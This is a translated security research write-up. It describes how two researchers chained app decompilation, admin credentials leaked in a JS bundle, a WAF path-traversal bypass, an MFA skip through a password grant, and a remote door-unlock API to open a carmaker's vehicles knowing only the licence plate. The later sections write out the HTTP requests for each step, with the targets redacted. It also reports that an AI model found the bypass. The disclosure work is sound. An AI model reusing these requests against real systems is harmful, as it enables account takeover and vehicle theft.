导语:攻破一辆车可以从硬件下手,也可以从App下手。这篇实战记录里,两位研究者从一个车联网App出发,挖到公网上的管理后台、藏在第三方JS包里的管理员密码,最后只靠一个车牌号就让车门弹开,整条链一步没落。
一、从App出发:先把APK反编译一遍
我一直挺喜欢这个牌子,家里前后买过几辆,都挺省心。2023年我又入手了一台四驱SUV,那是我第一次用上它的车联网平台。
这类平台我以前研究过(相关工作在这里),心里一直觉得它不安全,肯定有东西,只是生活太忙没顾上真去挖。今年7月,我和 Sam Curry(山姆·库里)搭伙,专门看了看某大型车企车联网系统的安全性。全文里我就用「这家车企」来指代他们——名字和域名都被隐去了。
一般人聊汽车黑客攻击,第一反应都是往硬件那边钻。但我的老本行是拿面向互联网的Web应用和基础设施开刀。车里那些电子零件再复杂,最后也都要连回某个按设计就必须能被公网访问的服务。
整个过程是从一个很简单的问题开始的:我用App远程解锁车的时候,它到底在跟哪套后台说话?为了弄清楚,我下载了APK反编译,把App发出的API请求一条条还原出来。
翻代码就能看出来,主要的通信对象都在 *.redacted-telematics.com.au 这个域名下:
dartExecutor.executeDartEntrypoint(createDefault, CollectionsKt.r(gson.toJson(new GlobalConfigParams(false, g11, com.redacted.app.xcapp.a.f69866f, "X", str)), new Gson().toJson(new ApiConfig("https://api.redacted-telematics.com.au", "https://api.redacted-telematics.com.au", "https://api.redacted-telematics.com.au" ...
消费端App的绝大部分功能都在回调这个域名。那这个域名下面还挂着什么东西?
二、管理后台:TEST HARNESS就摆在公网上
跑一套车联网后台并不简单,管理工具、预发布、开发、测试环境都得有,才能保证用户拿到手的是干净的体验。可这些东西要不要全摆在公网上、让任何愿意做点基础信息收集的人都能摸到,就是另一回事了。
其中一个资产格外吸引我的注意:admintool.redacted-telematics.com.au,页面标题直接写着TEST HARNESS(测试框架)。带admintool的子域名,谁能忍住不点进去?

打开之后是一个灰扑扑的登录页,朴素得有点过分——登录之前,页面上就明晃晃摆着一个「退出登录」按钮。
我最喜欢单页应用的一点就是:哪怕首屏只需要渲染一个登录框,它照样把整包JavaScript塞给你。现在的前端框架有些会做代码分割,只发必要的文件;但这套后台没有。于是我们直接把这一大坨JS扒下来,就能看清这个「管理工具」到底能干哪些事。

结果这个管理工具能干的活儿不少。它配了一套相当完整的API,员工用它查用户账户、动生产车辆上的功能,限制很少。我们把请求还原后发现,这些API里有一大半根本不需要登录——JS包里硬编码的API key就是全部凭据。
比如,按邮箱地址就能把用户账户查出来:

但这还不够。想做到「只知道车牌就能解锁他们任何一台车」,我们得再往前走一步。
在澳大利亚,车牌号通过各州的车辆登记查询网站,很容易就能换到VIN(车辆识别代号)。
这本身谈不上漏洞——查VIN的正当理由多的是,比如买二手车之前核对真实的维修和出险记录。真正的关键是从VIN找到订户或者邮箱,这条链子就闭合了。
巧了,正有一个API能干这事:

拿到订户GUID之后,就能把完整账户信息拉出来(用户邮箱在 /v1/account 这个接口里)。
链子的前半段算是通了:
车牌 → VIN → 订户GUID → 用户PII(邮箱)
那个PII注册在这家车企的身份平台上,而他们用的正是 ForgeRock(身份与访问管理厂商)的 OpenIDM(身份管理组件)。
接下来怎么给任意一台车下指令?管理后台应该能吧?可惜不能。它能做的是给车辆开通某项功能、把自己加进用户账户当副用户、甚至生成远程访问码——功能不少,但没有一项真能让你遥控车辆。
三、身份平台:管理员密码藏在第三方JS包里
接下来我和库里花了两周,挖这家车企的中枢身份系统:用的什么软件、指令怎么下发、消费者怎么认证。
用户在App里走认证流程时,请求发到 login.redacted-identity.com.au,走完多因素认证(MFA)之后发一个消费端auth token。之后所有请求都带着这个token打 api.redacted-telematics.com.au(REST和GraphQL都有)。token到手基本就算通关了:远程解锁上锁、鸣笛、启动发动机,你能干的都对用户开放。
所以,能给任意用户伪造出一个token,就等于能控制任何人的车。我们就走这条路。
这家车企重度依赖ForgeRock的身份软件(OpenAM和OpenIDM),这是整套认证的基石。把 *.redacted-identity.com.au 的子域名拉了一遍,很快就找到OpenIDM实例:openidm.redacted-identity.com.au。车联网平台上注册的所有身份,都由它管。
转折点出现在我们翻 *.redacted-telematics.com.au 下那堆JS文件的时候:有个第三方厂商的JS包里,直接把OpenIDM的管理员凭据写死了 😱

虽然这份管理员凭据本来是给预发布环境用的,但见识过前面这波卫生状况之后,我们基本确定它在生产环境同样有效。
四、跟WAF干上:找路径穿越的出口
细看OpenIDM,我们没法判断这家车企知不知道它有多脆弱。但有一点很明白:他们在WAF(Web应用防火墙)规则上砸了不少本钱,专门拦 /openidm/* 这类ForgeRock敏感接口。

就算直连源站IP,任何打到 /openidm/ 的请求都会被Nginx上的WAF直接挡回来。这些资产明明暴露在公网上,安全团队还是实打实地下过功夫加固。
加得不错,这份加固我们服。但WAF这种投入量通常说明底子本来就烂——他们多半清楚把OpenIDM摆到公网上有多危险,只是有某种业务理由让它留在了那里。
我还从没见过哪条WAF规则真能挡住我们,只要动机够足。所以我们花了好几天,用拿手的路径穿越找突破口——能有多难?
验证JS包里挖到的管理员凭据并不难。澳大利亚这套OpenIDM白名单了几个路径,比如 /XUI/ 和 /UI/,而路径穿越字符没被拦。于是像下面这种构造,至少能部分生效:

当然不会这么简单。路径穿越还是没能真正落到 /openidm/ 下的接口上,因为OpenIDM的路由机制有自己的怪癖,每个接口都会报错:

在OpenIDM的世界里,没有任何servlet(或资源)是注册在带路径穿越字符的路径上的。所以它只会报错——哪怕我们已经拿到了admin JWT。
这一段我们憋屈了好几天。一个路由机制的小怪癖(当初设计的时候大概根本没考虑安全)就把整条攻击链堵死了。我们也试过其他几个看起来可能有用的接口(比如用户上传),结果又撞上一道servlet路径检查的怪癖,用不出实际效果。
于是我们换了个问题:为什么非要把OpenIDM暴露在外网?总得有个正当理由吧?我们回头把从各个资产上收集来的JS包重新翻了一遍,找它们和OpenIDM之间的通信记录,这次直接反编译Android应用,在里面找到了这个:

这些显然是AndroidApp能直接访问的OpenIDM接口。那它们会不会不走WAF?试一下:
/openidm/endpoint/aaa -> 403 WAF blocked
/openidm/endpoint/pinService -> 404, no WAF block
有意思。
还有没有别的自定义接口?稍微暴力猜一猜,我们很快找到一个getUser接口。猜参数的时候发现,它接受mail、guid和phone三种输入。配上前面拿到的管理员凭据,这接口到底能干什么?

响应里直接带回了密码哈希、PIN码哈希、手机推送token,还有PII——手机号和真实姓名。这个接口没被WAF拦,也不需要路径穿越,对应的servlet老老实实响应了。
别误会,这已经相当有杀伤力了。但密码是用 PBKDF2-SHA512 哈希的,每解锁一台车都得先拿哈希去跑 cracking rig,还不保证能出结果——这买卖有点不划算。
回到起点:怎么用路径穿越访问 /openidm/managed/user 这个servlet,同时让路径还能被OpenIDM认出来?我们下了跟目标版本最接近的OpenIDM源码,然后让 GPT 5.6 Sol Ultra(大模型)读了整整六个小时。
它做到了。我和库里之前都手动试过不少组合去绕这个幼稚的限制,但谁也没把所有可能性试全。
我们试 /XUI%2f..%2fopenidm/ 的时候,拿到的是硬邦邦的403——于是很自然地以为所有前缀都这样。而模型发现,/static%2f..%2fopenidm/ 根本没被WAF覆盖,而且它没有servlet路径识别那套怪癖,OpenIDM的API直接就能用。
五、接管账号
有了这个绕过,接管账号就变得很简单:给任意用户档案PATCH一个新密码。
PATCH /static%2f..%2fopenidm/managed/user/f7ba554REDACTED HTTP/1.1
Host: openidm.redacted-identity.com.au
X-OpenIDM-Username: idmadmin
X-OpenIDM-Password: REDACTED
X-OpenIDM-NoSession: true
Content-Type: application/json
If-Match: "0000000abc123..."
Cache-Control: no-store
Accept: application/json
[{"operation":"replace","field":"/password","value":"Testing123!"}]
返回是:
> HTTP/1.1 200 OK
> {"_id":"f7ba554REDACTED","_rev":"0000000def456..."}
密码能随便改了。那多因素认证(MFA)呢?
六、跳过MFA
澳大利亚这套环境还有一个配置错误:多因素那一步可以整个跳过。
第一步,用资源所有者密码凭证模式(ROPC,Resource Owner Password Credentials)去 login.redacted-identity.com.au 换一个token,响应里会带一个干净的id_token,能拿去当消费端App的token用:
POST /oauth2/realms/root/realms/REDACTED/access_token HTTP/1.1
Host: login.redacted-identity.com.au
Content-Type: application/x-www-form-urlencoded
grant_type=password&[email protected]&password=Testing123!&client_id=REDACTED_PORTAL&client_secret=REDACTED
> HTTP/1.1 200 OK
> {
> "access_token": "...",
> "id_token": "eyJ0eXAiOiJKV1Qi...",
> "token_type": "Bearer",
> "expires_in": 3599
> }
第二步,拿这个token去换一个会话:
POST /json/realms/REDACTED/authenticate?authIndexType=service&authIndexValue=IDTokenROPC HTTP/1.1
Host: login.redacted-identity.com.au
Content-Type: application/json
Accept: application/json
Accept-API-Version: resource=2.0, protocol=1.0
idtoken: eyJ0eXAiOiJKV1Qi...
> HTTP/1.1 200 OK
> {
> "tokenId": "AQIC5wM2LY4Sfcy...*",
> "successUrl": "/openam/console",
> "realm": "/REDACTED"
> }
第三步,做token交换,换出移动端的access token:
POST /oauth2/realms/root/realms/REDACTED/authorize HTTP/1.1
Host: login.redacted-identity.com.au
Content-Type: application/x-www-form-urlencoded
Accept-API-Version: resource=2.1, protocol=1.0
x-fr-version: 2025.05.05
Authorization: Basic
iPlanetDirectoryPro: AQIC5wM2LY4Sfcy...*
Cookie: iPlanetDirectoryPro=AQIC5wM2LY4Sfcy...*
client_id=REDACTED_APP&redirect_uri=com.redacted.app:/oauth2Callback&scope=openid%20profile%20write&response_type=code&state=&code_challenge=&code_challenge_method=S256&decision=allow&csrf=AQIC5wM2LY4Sfcy...*
> HTTP/1.1 302 Found
> Location: com.redacted.app:/oauth2Callback?code=&state=
POST /oauth2/realms/root/realms/REDACTED/access_token HTTP/1.1
Host: login.redacted-identity.com.au
Content-Type: application/x-www-form-urlencoded
Accept-API-Version: resource=2.1, protocol=1.0
Authorization: Basic
grant_type=authorization_code&code=&redirect_uri=com.redacted.app:/oauth2Callback&client_id=REDACTED_APP&code_verifier=
> HTTP/1.1 200 OK
> {
> "access_token": "",
> "refresh_token": "...",
> "token_type": "Bearer",
> "scope": "openid profile write",
> "expires_in": 3599
> }
过程确实够绕的,我知道。OAuth有时候就是烦人。但这几步下来,我们能对这家车企车联网App的任意用户跳过MFA。
七、车门开了
到这一步,我们离「解锁澳大利亚境内他们任意一台车」只差最后一步:用刚刚能伪造出来的App token,往指令接口发请求。
POST /v1/remote/route/command HTTP/1.1
Host: api.redacted-telematics.com.au
Authorization: Bearer
X-API-KEY: REDACTED
X-GUID: f7ba554REDACTED
X-BRAND: REDACTED
X-APPBRAND: REDACTED
X-CHANNEL: REDACTED
X-LOCALE: en-AU
X-APPVERSION: REDACTED
X-OSNAME: Android
X-OSVERSION: 14
X-DEVICE-TIMEZONE: AEST
X-CORRELATIONID: 6f1a2b3c-4d5e-6f70-8192-a3b4c5d6e7f8
X-GENERATION: REDACTED
VIN: XXXXXXXXXXXXXXXXX
Content-Type: application/json
Accept: application/json
User-Agent: okhttp/4.12.0
{"command": "door-unlock", "autoFixPopup": false, "beepCount": null}
然后,魔法发生了。车门开了。
(以上操作只针对我们自己拥有、或明确获得授权测试的车辆。)

原文附有一段57秒的实机演示视频,完整记录脚本跑通、车门解锁的全过程。
退一步看,我们到底做到了什么程度:只要知道车牌号,我们就能给这家车企在澳大利亚境内的任意一台车下发指令,两个品牌都跑不掉。完整链条是:
车牌 -> VIN -> 订户GUID -> JS包里的OpenIDM管理员凭据
-> 路径穿越绕过WAF -> ROPC流程跳过MFA
-> 伪造消费端App token -> 远程指令接口
凌晨12点,整条链终于跑通的那一刻,我录了一段脚本实战的短视频。谈不上精致,但看着它真的能跑,还是有点魔幻。这种硬骨头,本来就是我的菜。
八、那”全世界”呢?
你可能会问:作者你说全球大部分品牌都能解锁,可这明明只覆盖了澳大利亚,凭什么?
美国、加拿大和欧洲的OpenIDM环境,这家车企花的功夫要多得多,我和库里另做了一条更复杂的链,具体过程他写在自己的博客里(ForgeRock 部分)。
两份报告合起来,我们最终可以对这家车企在澳大利亚、美国和加拿大的任意一台车下发远程指令——包括解锁和启动发动机。
相关链接
- 原文:https://shubs.io/unlocking-any-car-from-x-brand-in-most-of-the-world/
- 库里写的 ForgeRock 专题:https://samcurry.net/forgerock
- 之前的同类研究:https://samcurry.net/hacking-subaru
本文为编译转载,原文作者为安全研究员 Shubs,文章中的车企名称、域名与凭据均已由作者本人隐去。技术分析仅用于防御参考,所有测试均在获得授权的车辆上进行。














暂无评论内容